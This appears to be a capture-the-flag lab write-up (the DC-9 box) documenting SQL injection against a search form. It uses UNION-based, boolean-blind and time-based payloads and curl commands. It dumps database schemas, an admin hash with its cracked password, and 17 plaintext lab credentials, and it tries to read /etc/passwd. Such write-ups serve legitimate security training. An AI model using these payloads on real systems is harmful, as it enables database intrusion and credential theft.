SQL Injection
An SQL injection entry point has been identified in the search function of the target web application on the 192.168.207.209
host.
The vulnerable parameter is
search
when sending a POST request to the /results.php
endpoint.
UNION-based In-band
1' UNION SELECT 1,2,3,4,5,6 -- -
A total of 6 columns present and all of them are reflected.
1' UNION SELECT 1,2,3,user(),database(),version() -- -
- The current user is
dbuser@localhost
- The current database is
Staff
- The backend DB version is
10.3.17-MariaDB-0+deb10u1
Databases (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- -
A total of 3 databases available;
information_schema
Staff
users
Staff
DB (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema="Staff" -- -
A total of 2 tables present at the Staff
DB;
StaffDetails
Users
Staff.StaffDetails
Table (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema="Staff" AND table_name="StaffDetails" -- -
A total of 7 columns within the Staff.StaffDetails
table
This table is fully exposed at the /display.php
endpoint.
Staff.Users
Table (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users" -- -
A total of 3 columns within the Staff.Users
table;
UserID
Username
Password
Staff.Users
Exfiltration (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(Username,":",Password) FROM Staff.Users -- -
Credential exfiltrated; admin
:856f5de590ef37314e7c3bdf6f8a66dc
Password Cracking
Password hash cracked at crackstation.net;
transorbital1
admin
:transorbital1
Validating the credential against the /manage.php
endpoint.
users
DB (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema="users" -- -
A single table exists within the users
DB; UserDetails
users.UserDetails
Table (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema="users" AND table_name="UserDetails" -- -
A total of 6 columns exists at the users.UserDetails
table;
id
firstname
lastname
username
password
reg_date
users.UserDetails
Exfiltration (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(username,":",password) FROM users.UserDetails -- -
A total of 17 credentials exfiltrated;
marym:3kfs86sfd
julied:468sfdfsd2
fredf:4sfd87sfd1
barneyr:RocksOff
tomc:TC&TheBoyz
jerrym:B8m#48sd
wilmaf:Pebbles
bettyr:BamBam01
chandlerb:UrAG0D!
joeyt:Passw0rd
rachelg:yN72#dsd
rossg:ILoveRachel
monicag:3248dsds7s
phoebeb:smellycats
scoots:YR3BVxxxw87
janitor:Ilovepeepee
janitor2:Hawaii-Five-0
Validating against the target SSH server.
File Write (UNION-based In-band)
Web root directory in the host filesystem has not been identified.
1' UNION SELECT 1,2,3,4,5,"test123" INTO OUTFILE "/tmp/test.txt" -- -
Blind write. Attempt to confirm it via file read below.
File Read (UNION-based In-band)
1' UNION SELECT 1,2,3,4,5,LOAD_FILE("/tmp/test.txt") -- -
Failed
1' UNION SELECT 1,2,3,4,5,LOAD_FILE("/etc/passwd") -- -
Failed to read /etc/passwd
.
This is likely due to lack of permissions
Boolean-based Blind
1' OR (SELECT COUNT(*) FROM DUAL WHERE user()='dbuser@localhost') -- -
Using count function.
dual
dummy table for a placeholder.
The current user is dbuser@localhost
.
1' OR EXISTS(SELECT 1 FROM dual WHERE database()="Staff") -- -
Using exists function.
dual
dummy table for a placeholder.
The current DB is Staff
.
1' OR EXISTS(SELECT 1 FROM dual WHERE version() LIKE "10.3.17-mariadb-0%") -- -
Using exists function.
dual
dummy table for a placeholder.
Cannot enumerate further as +
sign is being interpreted as part of URL encoding.
Databases (Boolean-based Blind)
1' OR (SELECT COUNT(schema_name) FROM information_schema.schemata)=3 -- -
Using count function, there are a total of 3 databases
1' OR EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name="information_schema") -- -
information_schema
DB
1' OR EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name="Staff") -- -
Staff
DB
1' OR EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name="users") -- -
users
DB
Staff
DB (Boolean-based Blind)
1' OR (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema="Staff")=2 -- -
A total of 2 tables within the Staff
DB
1' OR EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema="Staff" AND table_name="StaffDetails") -- -
Staff.StaffDetails
Table
1' OR EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema="Staff" AND table_name="Users") -- -
Staff.Users
Table
Staff.StaffDetails
Table (Boolean-based Blind)
1' OR (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema="Staff" AND table_name="StaffDetails")=7 -- -
A total of 7 columns present at the Staff.StaffDetails
table.
This table is fully exposed at the /display.php
endpoint.
Staff.Users
Table (Boolean-based Blind)
1' OR (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users")=3 -- -
A total of 3 columns present at the Staff.Users
table.
1' OR EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users" AND column_name="Username") -- -
Staff.Users.Username
column.
1' OR EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users" AND column_name="Password") -- -
Staff.Users.Password
column.
Staff.Users
Exfiltration (Boolean-based Blind)
1' OR EXISTS(SELECT 1 FROM Staff.Users WHERE Username="admin") -- -
admin
user
1' OR EXISTS(SELECT 1 FROM Staff.Users WHERE Username="admin" AND Password LIKE "856f5de590ef3731%") -- -
1' OR EXISTS(SELECT 1 FROM Staff.Users WHERE Username="admin" AND Password="856f5de590ef37314e7c3bdf6f8a66dc") -- -
856f5de590ef37314e7c3bdf6f8a66dc
is the password hash
Password hash cracked
users
DB (Boolean-based Blind)
1' OR (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema="users")=1 -- -
A single table exists within the users
DB
1' OR EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema="users" AND table_name="UserDetails") -- -
users.UserDetails
Table
users.UserDetails
Table (Boolean-based Blind)
A total of 6 columns exists at the
users.UserDetails
table
1' OR EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="users" AND table_name="UserDetails" AND column_name="username") -- -
users.UserDetails.username
column.
1' OR EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="users" AND table_name="UserDetails" AND column_name="password") -- -
users.UserDetails.password
column.
users.UserDetails
Exfiltration (Boolean-based Blind)
1' OR EXISTS(SELECT 1 FROM users.UserDetails WHERE username LIKE "jani%") -- -
1' OR EXISTS(SELECT 1 FROM users.UserDetails WHERE username="janitor") -- -
janitor
user.
1' OR EXISTS(SELECT 1 FROM users.UserDetails WHERE username="janitor" AND password LIKE "Ilo%") -- -
1' OR EXISTS(SELECT 1 FROM users.UserDetails WHERE username="janitor" AND password="Ilovepeepee") -- -
Ilovepeepee
is the password of the janitor
user.
A total of 17 credentials exists above.
Time-based Blind
If boolean-based attack works, time-based attack INHERENTLY works.
Just need to wrap up the boolean-based SQLi payload with IF()
and SLEEP()
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(*) FROM DUAL WHERE database()="Staff"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.06s
user 0.01s
sys 0.00s
cpu 0%
This works but it took 17 seconds because the injected SQL is evaluated(executed) per-row, and there are 17 rows, resulting in taking 17 seconds.
The current DB is Staff
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(*) FROM DUAL WHERE user()="dbuser@localhost" LIMIT 1), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.47s
user 0.01s
sys 0.00s
cpu 0%
The current user is dbuser@localhost
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM dual WHERE version() LIKE "10.3.17-mariadb-0%"), SLEEP(1), 0) -- --- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.47s
user 0.01s
sys 0.00s
cpu 0%
Databases (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(schema_name) FROM information_schema.schemata)=3, SLEEP(1), 0) -- --- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.47s
user 0.01s
sys 0.00s
cpu 0%
3 DBs
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name="information_schema"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
information_schema
DB
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name="Staff"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Staff
DB
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name="users"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
users
DB
Staff
DB (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema="Staff")=2, SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
2 Tables
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema="Staff" AND table_name="StaffDetails"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Staff.StaffDetails
Table
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema="Staff" AND table_name="Users"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Staff.Users
Table
Staff.StaffDetails
Table (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema="Staff" AND table_name="StaffDetails")=7, SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
7 columns at the Staff.StaffDetails
table
This table is fully exposed at the /display.php
endpoint.
Staff.Users
Table (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users")=3, SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
3 columns at the Staff.Users
table
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users" AND column_name="Username"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Staff.Users.Username
column
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="Staff" AND table_name="Users" AND column_name="Password"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Staff.Users.Password
column
Staff.Users
Exfiltration (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM Staff.Users WHERE Username="admin"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
admin
user
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM Staff.Users WHERE Username="admin" AND Password LIKE "856f5de590ef3731%"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM Staff.Users WHERE Username="admin" AND Password="856f5de590ef37314e7c3bdf6f8a66dc"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
856f5de590ef37314e7c3bdf6f8a66dc
is the password hash of the admin
user.
Password hash cracked.
users
DB (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema="users")=1, SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Only 1 table
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema="users" AND table_name="UserDetails"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
users.UserDetails
Table
users.UserDetails
Table (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema="users" AND table_name="UserDetails")=6, SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
6 columns at users.UserDetails
table
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="users" AND table_name="UserDetails" AND column_name="username"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
users.UserDetails.username
column
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema="users" AND table_name="UserDetails" AND column_name="password"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
users.UserDetails.password
column
users.UserDetails
Exfiltration (Time-based Blind)
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM users.UserDetails WHERE username LIKE "jani%"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM users.UserDetails WHERE username="janitor"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
janitor
user.
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM users.UserDetails WHERE username="janitor" AND password LIKE "Ilovepee%"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/dc-9]
└─$ sqli=$(echo '1'\'' OR IF(EXISTS(SELECT 1 FROM users.UserDetails WHERE username="janitor" AND password="Ilovepeepee"), SLEEP(1), 0) -- -') ; time curl -s "http://$IP/results.php" --data "search=$sqli"
[...REDACTED...]
real 17.05s
user 0.01s
sys 0.00s
cpu 0%
Ilovepeepee
is the password of the janitor
user.
A total of 17 credentials exists above.